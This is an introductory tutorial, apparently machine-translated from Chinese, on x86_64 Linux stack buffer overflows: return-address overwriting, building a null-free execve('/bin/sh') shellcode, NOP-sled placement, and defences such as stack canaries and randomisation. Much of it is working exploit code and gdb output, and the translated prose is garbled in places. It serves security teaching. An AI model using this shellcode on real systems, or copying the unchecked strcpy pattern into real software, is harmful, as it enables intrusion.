Foreword
In today's network attacks, buffer overflow attack mode occupies a large part, is a very common buffer overflow vulnerabilities, but at the same time, it is also very dangerous type of vulnerability, ranging from lead to system downtime, heavy It can lead attacker to gain system privileges, and then steal data, whatever they want.
In fact, the buffer attacks said to have simple, consider the following piece of code:
void main(int argc, char *argv[]) {
char buffer[8];
if(argc > 1) strcpy(buffer, argv[1]);
}
When we of argv[1]
time copying operation, no check its length, this time the attacker can string a length greater than 8 by copying the program to cover the return address, so that the program code is turned to perform the attack, thereby making the system being attacked.
Data in this chapter describes the basic principle of buffer overflow attacks, I will begin to run from the how the program is the use of such a stack data structure, try to write a shellcode, and then use the overflow shellcode to our program will be explained. We want to use the system environment for x86_64 Linux, we have to use gcc (v7.4.0), gdb (v8.1.0) and other tools, in addition, we also need to base a little assembly language, and we use AT & T assembler format.
For me personally, as a novice, I was more in terms of counseling to write this article, but if you find any errors or not the right place, welcome that, I hope this article is helpful to you.
process
In modern operating systems, the process is a program run entity, when the operating system is running a program, the operating system creates a process for our program, and the space required to run in memory allocated to our program these spaces are called process space. The process space of three main parts: the code segment, data segment and stack segment. As shown below:
Stack
Stack is a post-first-out data structure in the most modern programming languages, use this stack data structure to manage calls between processes. So what is calls between process it, put it plainly, a function or a method is a process, and call another method is to process and procedure calls between the internal methods or functions. We know that the program's code is loaded into memory, then a section (here refers to the assembler) to perform, but also from time to time you need to call other functions. When a call to a procedure call procedure is invoked, the memory address where the code to be executed is different when the called procedure after the implementation, but also back to the calling process continues. When calling procedure called procedure is required call
instruction, and call
indicates the address of the instruction to be called, for example call 地址
, when return to the calling procedure, using ret
instruction to return to, but does not need to specify the return address. So we want to know how the program is returned to the place? The main stack of credit: execution call
command, the program automatically will be call
the address of the next instruction to the stack, we called the return address. When the program returns, program fetch the return address from the stack, and then the program jumps to the return address continue.
Further, another parameter in the call transfer process requires, and local variables of a process (including during open buffers) to be allocated on the stack. Visible, the stack is a mechanism essential to run the program.
But smart you might think about: not to return since the program address stored on the stack, process parameters and local variables are also stored on the stack, we can manipulate the parameters and local variables in the program, so if we can operate return address, and then jump directly to the code we want to run at it? The answer is definitely yes.
Return address program changes
We have a look at this program.
example.c
void func() {
long *res;
res = &res + 2;
*res += 7;
}
void main() {
int x = 1;
func();
x = 0;
printf("%d\n", x);
}
We use the following command in a shell run the compiler, gcc compiler for the parameters used when we first secrecy.
$ `gcc -fno-stack-protector example.c -o example`
$ ./example
You might say: "Well, well, do not read, so simple, the results are 0 thing." But the result is really the same old thing. In fact, the results of this program is 1. "What, how could this be 1 Well, very, very incredible."
Also remember we mentioned that we can change course in the program return address? In the func
middle, watching yes yes right res were meaningless operation, but this has changed the func
return address, skip x = 0
this assignment command. Let's look at the assembler level seen how this procedure is performed.
$ gdb gdb example
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
...
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x000000000000064a <+0>: push %rbp
0x000000000000064b <+1>: mov %rsp,%rbp
0x000000000000064e <+4>: lea -0x8(%rbp),%rax
0x0000000000000652 <+8>: add $0x10,%rax
0x0000000000000656 <+12>: mov %rax,-0x8(%rbp)
...
0x000000000000066e <+36>: retq
End of assembler dump.
In gdb, we used disassemble func
to look at the func
assembly code function, here, the case is on the program stack, wherein the stack has a width of 8 bytes:
A look at the program you might see, in 4 to 12 lines (in fact the line here should be the first few bytes of the instruction at the function, here for the convenience of so tentatively call it) program to obtain res
addresses, and address plus 0x10 (i.e. 16), which corresponds to a program res = &res + 2;
, at this time res
point where the return address is the address, and then *res += 7
to change the return address. As for why is plus 7 instead of other numbers, because our aim is to skip the execution x = 0
, and x = 0
the number of bytes occupied by this program just seven. We used disassemble main
to look at the main
assembly code function.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x000000000000066f <+0>: push %rbp
0x0000000000000670 <+1>: mov %rsp,%rbp
0x0000000000000673 <+4>: sub $0x10,%rsp
0x0000000000000677 <+8>: movl $0x1,-0x4(%rbp)
0x000000000000067e <+15>: mov $0x0,%eax
0x0000000000000683 <+20>: callq 0x64a <func>
0x0000000000000688 <+25>: movl $0x0,-0x4(%rbp)
0x000000000000068f <+32>: mov -0x4(%rbp),%eax
...
End of assembler dump.
The above assembly code, line 25 is the x = 0
assembly instructions of this program, our aim is to skip it, that we want to execute code on line 32 directly, and now the return address is pointing to line 25 ( remember earlier said the return address is the call
instruction address of the next instruction it) in order to skip it, we add 7 to the return address.
Overwrite the return address
Now, we probably learned how to modify the program to jump to the return address specified where we perform, but to attack our program is not written ah, we just know that somewhere there is a program that allows us to drive a buffer write data, we can not change the code reform program ah. This time, we will talk about the copy buffer about it.
We also remember the beginning of the program do? Here we have to debug convenience, we add it to the output.
test.c
void main(int argc, char *argv[]) {
char buffer[8];
if(argc > 1) strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Our program structure on the stack probably looks like this. Here we changed the look of the stack
When the program to argv[1]
proceed with the copy operation, in order to write the characters from the lower to higher addresses. When argv[1]
the time is shorter than 8, our buffer buffer
is enough space, copy can be done without problems, but we argv[1]
are too long, the length of the return address are covered, then main
the function returns a return address do not know where to go a.
Let's try:
$ gcc -fo-stack-protector -o test test.c
$ ./test hello
hello
$ ./test helloworld
helloworld
$ ./test helloworld123456789
helloworld123456789
Segmentation fault
When we can see that the given parameters helloworld123456789
, our program there have been mistakes, that is, this time, our return address is a broken ring, resulting in main
an error when the function returns. This time the stack looks like the following: the
The front structure of the control stack, found main
function return address indeed been destroyed. If we are to address the return address at the cover of a program we want to perform, it is not our program can execute it?
shellcode
So what is the procedure to be performed when it attacks? Under normal circumstances, we would like to get a shell through the overflow buffer, once with the shell, we can "do whatever they want", and so we put this program called shellcode. Then the shellcode in which it can be determined that the system administrator is a shellcode will not stay in the system, they do not tell you: Hey, I've got a shellcode, address xxxx, you are making a return address to cover, to perform in the bar. So, this shellcode also need to write our own, and passed on to attack the system. Where do you want to pass it? Buffer is not exactly a good place thing.
We know that in von Neumann computer architecture, the data and the code is not clear distinction between, that is, something somewhere in memory, the data can be seen as both a program, it can be when for the code to execute. So, we probably have an idea of attack: We will put our shellcode buffer, and then jump to our shellcode at the return address coverage, and then execute our shellcode
Here's how, we will discuss writing a shellcode
First of all, we have to get a shell, need to use the No. 59 and 60 system calls, here are some of the system call table, and C language in the manner specified their parameters.
%rax | system call | % rdi | %rsi | %rdx |
---|---|---|---|---|
59 | sys_execve | const char *filename | const char *const argv[] | const char* const envp[] |
60 | sys_exit | int error_code |
They correspond to the system functions in C language int execve(const char *filename, char *const argv[ ], char *const envp[ ]);
and exit(int error_code)
, execve()
for starting a new application process in which the first parameter is the path where the second parameter is a parameter passed to the program, argv array pointer must at the beginning of the program filename, ending NULL, the last parameter to pass a new environment variable program. The exit()
arguments indicate its exit code.
The following C language program will be able to get a shell, the shell when the input acquired exit
when you can withdraw shell, and an exit code of 0.
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
exit(0);
}
Now, let's think about from the assembly point of view, and how to write a function similar to the above, this program shellcode.
- First, we need a string "/ bin / sh", and need to know its exact address
- Then, we need to pass parameters to the appropriate registers
- Finally, the system call.
How easy to get the address of a string of it? One method is to put a string call
of instructions later, so that when the call
time of the instruction, the first address of the string will be added to the stack. Well, I will not beat about the bush, and a shellcode is given below
jmp mycall
func: pop %rbx
mov %rbx, 0x8(%rsp)
movb $0x0, 0x7(%rsp)
movl $0x0, 0x10(%rsp)
mov $59, %rax
mov %rbx, %rdi
lea 0x8(%rsp), %rsi
lea 0x10(%rsp), %rdx
syscall
mov $60, %rax
mov $0, %rdi
syscall
mycall: call func
.string \"/bin/sh\"
Now, we turn to look at the meaning of each instruction.
1. jmp mycall
当shellcode执行时,会先执行这一条,这会使我们的程序跳转到第14行的call指令处
2. func: pop %rbx
我们从栈中获取返回地址,这也是字符串所在的地址
3. mov %rbx, 0x8(%rsp)
4. movb $0x0, 0x7(%rsp)
5. movl $0x0, 0x10(%rsp)
尽管我们有了字符串的地址,但是我们并没有第二个参数和第三个参数所在的地址,所以程序在栈上构造出第二个和第三个参数
6. mov $59, %rax
7. mov %rbx, %rdi
8. lea 0x8(%rsp), %rsi
9. lea 0x10(%rsp), %rdx
我们将参数传递给指定的寄存器
10. syscall
使用syscall指令进行系统调用,这在x86 Linux中为int 0x80
11. mov $60, %rax
12. mov $0, %rdi
13. syscall
为了使我们的shellcode在退出shell后正常退出,需要调用下exit系统调用,退出代码为0
14. mycall: call func
15. .string \"/bin/sh\"
Now, we have the shellcode, we will start with inline assembly within C language way to test whether it can run.
shellcode_test.c
void main() {
__asm__(
"jmp mycall\n\t"
"func: pop %rbx\n\t"
"mov %rbx, 0x8(%rsp)\n\t"
"movb $0x0, 0x7(%rsp)\n\t"
"movl $0x0, 0x10(%rsp)\n\t"
"mov $59, %rax\n\t"
"mov %rbx, %rdi\n\t"
"lea 0x8(%rsp), %rsi\n\t"
"lea 0x10(%rsp), %rdx\n\t"
"syscall\n\t"
"mov $60, %rax\n\t"
"mov $0, %rdi\n\t"
"syscall\n\t"
"mycall: call func\n\t"
".string \"/bin/sh\""
);
}
Try to compile and run it:
$ gcc shellcode_test.c -o shellcode_test
$ ./shellcode_test
sh-4.4# exit
exit
$
Wow, our shellcode entirely feasible, but still it does not end. As we all know, programs in memory are stored in binary form, our program is no exception, because we need our shellcode into a buffer to pass, if the code is transmitted directly, it is clearly not enough, we have to pass it should be compiled binary fishes, which can be directly executed on the target machine. Now, we use gdb to convert our program in binary (to be exact should be hexadecimal, but all the same thing)
$ gdb gdb shellcode_test
....
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000000005fa <+0>: push %rbp
0x00000000000005fb <+1>: mov %rsp,%rbp
0x00000000000005fe <+4>: jmp 0x639 <main+63>
0x0000000000000600 <+6>: pop %rbx
0x0000000000000601 <+7>: mov %rbx,0x8(%rsp)
0x0000000000000606 <+12>: movb $0x0,0x7(%rsp)
0x000000000000060b <+17>: movl $0x0,0x10(%rsp)
0x0000000000000613 <+25>: mov $0x3b,%rax
0x000000000000061a <+32>: mov %rbx,%rdi
0x000000000000061d <+35>: lea 0x8(%rsp),%rsi
0x0000000000000622 <+40>: lea 0x10(%rsp),%rdx
0x0000000000000627 <+45>: syscall
0x0000000000000629 <+47>: mov $0x3c,%rax
0x0000000000000630 <+54>: mov $0x0,%rdi
0x0000000000000637 <+61>: syscall
0x0000000000000639 <+63>: callq 0x600 <main+6>
0x000000000000063e <+68>: (bad)
0x000000000000063f <+69>: (bad)
0x0000000000000640 <+70>: imul $0x90006873,0x2f(%rsi),%ebp
0x0000000000000647 <+77>: pop %rbp
0x0000000000000648 <+78>: retq
End of assembler dump.
gdb-peda$ x /64xb main+4
0x5fe <main+4>: 0xeb 0x39 0x5b 0x48 0x89 0x5c 0x24 0x08
0x606 <main+12>: 0xc6 0x44 0x24 0x07 0x00 0xc7 0x44 0x24
0x60e <main+20>: 0x10 0x00 0x00 0x00 0x00 0x48 0xc7 0xc0
0x616 <main+28>: 0x3b 0x00 0x00 0x00 0x48 0x89 0xdf 0x48
0x61e <main+36>: 0x8d 0x74 0x24 0x08 0x48 0x8d 0x54 0x24
0x626 <main+44>: 0x10 0x0f 0x05 0x48 0xc7 0xc0 0x3c 0x00
0x62e <main+52>: 0x00 0x00 0x48 0xc7 0xc7 0x00 0x00 0x00
0x636 <main+60>: 0x00 0x0f 0x05 0xe8 0xc2 0xff 0xff 0xff
You can see, in addition to strings, our program is from line 4 to line 63, due to the string stored in memory is ascii code, there would be no need to obtain a binary that.
Well, now we have a binary shellcode, but there is a problem. We can see, our program has 0x00 this data, passed as a result of our shellcode string into the buffer, which represents precisely the end of the string also, that is, but we have to string when the buffer copy, when faced with 0x00, regardless of our shellcode there is no complete copy, the copy will stop. We do not want our Exhausted write shellcode has only been copied incomplete. Below, we look to improve our program.
shellcode_test1.c
void main() {
__asm__(
"jmp mycall\n\t"
"func: pop %rbx\n\t"
"mov %rbx, 0x8(%rsp)\n\t"
"xor %rax, %rax\n\t"
"movb %al, 0x7(%rsp)\n\t"
"movl %eax, 0x10(%rsp)\n\t"
"movb $0x3b, %al\n\t"
"mov %rbx, %rdi\n\t"
"lea 0x8(%rsp), %rsi\n\t"
"lea 0x10(%rsp), %rdx\n\t"
"syscall\n\t"
"xor %rdi, %rdi\n\t"
"xor %rax, %rax\n\t"
"movb $60, %al\n\t"
"syscall\n\t"
"mycall: call func\n\t"
".string \"/bin/sh\""
);
}
Control shellcode_test.c, we just changed some assignment. Let's look at the results.
$ gcc shellcode_test1.c -o shellcode_test1
$ gdb shellcode_test1
...
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000000005fa <+0>: push %rbp
0x00000000000005fb <+1>: mov %rsp,%rbp
0x00000000000005fe <+4>: jmp 0x62c <main+50>
0x0000000000000600 <+6>: pop %rbx
0x0000000000000601 <+7>: mov %rbx,0x8(%rsp)
0x0000000000000606 <+12>: xor %rax,%rax
0x0000000000000609 <+15>: mov %al,0x7(%rsp)
0x000000000000060d <+19>: mov %eax,0x10(%rsp)
0x0000000000000611 <+23>: mov $0x3b,%al
0x0000000000000613 <+25>: mov %rbx,%rdi
0x0000000000000616 <+28>: lea 0x8(%rsp),%rsi
0x000000000000061b <+33>: lea 0x10(%rsp),%rdx
0x0000000000000620 <+38>: syscall
0x0000000000000622 <+40>: xor %rdi,%rdi
0x0000000000000625 <+43>: xor %rax,%rax
0x0000000000000628 <+46>: mov $0x3c,%al
0x000000000000062a <+48>: syscall
0x000000000000062c <+50>: callq 0x600 <main+6>
0x0000000000000631 <+55>: (bad)
0x0000000000000632 <+56>: (bad)
0x0000000000000633 <+57>: imul $0x90006873,0x2f(%rsi),%ebp
0x000000000000063a <+64>: pop %rbp
0x000000000000063b <+65>: retq
End of assembler dump.
gdb-peda$ x /51xb main+4
0x5fe <main+4>: 0xeb 0x2c 0x5b 0x48 0x89 0x5c 0x24 0x08
0x606 <main+12>: 0x48 0x31 0xc0 0x88 0x44 0x24 0x07 0x89
0x60e <main+20>: 0x44 0x24 0x10 0xb0 0x3b 0x48 0x89 0xdf
0x616 <main+28>: 0x48 0x8d 0x74 0x24 0x08 0x48 0x8d 0x54
0x61e <main+36>: 0x24 0x10 0x0f 0x05 0x48 0x31 0xff 0x48
0x626 <main+44>: 0x31 0xc0 0xb0 0x3c 0x0f 0x05 0xe8 0xcf
0x62e <main+52>: 0xff 0xff 0xff
Now, we have no shellcode in a 0x00, and also shortened it.
Now, we can try this shellcode to run as a string.
shellcode.c
#include<stdio.h>
#include<string.h>
char shellcode[] = "\xeb\x2c\x5b\x48\x89\x5c\x24\x08\x48\x31\xc0\x88\x44\x24\x07\x89\x44\x24"
"\x10\xb0\x3b\x48\x89\xdf\x48\x8d\x74\x24\x08\x48\x8d\x54\x24\x10\x0f\x05"
"\x48\x31\xff\x48\x31\xc0\xb0\x3c\x0f\x05\xe8\xcf\xff\xff\xff/bin/sh";
void test() {
long *ret;
ret = (long *)&ret + 2;
(*ret) = (long)shellcode;
}
void main() {
test();
}
$ gcc -z execstack -fno-stack-protector -o shellcode shellcode.c
$ ./shellcode
sh-4.4# exit
exit
$
Ha, you can run.
Use shellcode
Now, we've got shellcode, we also offer an idea in front of the attack, but the final difficulty lies in how we use buffer overflow to modify the return address, to be honest, until now, did not find a blogger elegant, simple way to modify the return address. In some articles I see, the only way is to "test", which of course need to rely on luck, not to mention the operating system is now generally use the stack randomization, not good "test."
A better method is to add a number of front shellcode nop
instruction, and returns with many addresses to be covered later. As the nop
representative of empty instruction, and only one byte, any return address whether we return to the front of the shellcode nop
, the program will be executed to the place where the shellcode, without having to go back to the beginning of the shellcode, which will greatly increase the shellcode probability of being executed.
However, it was not very suitable for some small buffer, because a relatively small buffer and can not have too much nop
or too long shellcode, otherwise shellcode address directly or even to cover nop, elsewhere We see that the solution to such a small buffer is also very simple, we put the return address on the front, nop
in the middle, shellcode on the final surface, like this:
So in theory, nop
it can be a lot of opportunities to execute shellcode will be greatly increased.
Prevention
Modern compilers has joined a number of mechanisms to prevent buffer overflow, for example, buffer overflow inspection (I still remember the earlier sell off the child? We used the -fno-stack-protector parameter gcc is to let the compiler do not join kind of mechanism, so as not to interfere with our experiment.), prohibits -z execstack executing code (shellcode.c compiled within the stack used, this parameter is within the allowable stack code execution). Buffer overflow checking means before the local variables on the stack allocation, allocate some space to store a number, when the program returns before, check this number has not changed, if they are changed, the interrupt is triggered immediately, prevent to execute shellcode. In addition, modern operating system also joined a number of measures to prevent buffer overflows, such as randomized stack (which in turn greatly reduces the chances of our return address of "suspect" in).
However, despite operating systems and compilers have joined so many mechanisms to prevent buffer overflow, however, there is always the attacker various ways to circumvent these mechanisms, so, to prevent buffer overflow fundamentally, we still want write a program to start in the former buffer zone operation, be sure to limit its scope of operation, do not use those dangerous function, for example gets
, does not limit the length strcpy
and so on.
summary
That rely on the stack is performed, and local variables allocated on the stack, call
the instruction will be the return address on the stack, which is a prerequisite for buffer overflow.
Buffer overflows are covered by the return address, and then to carry out an attack program (shellcode) to achieve.
After the completion of writing shellcode to be converted to binary (hexadecimal) data, and may not appear 0x00, which represents the end of the string
To prevent buffer overflow using the correct compiler options, more important is the correct programming.
Finish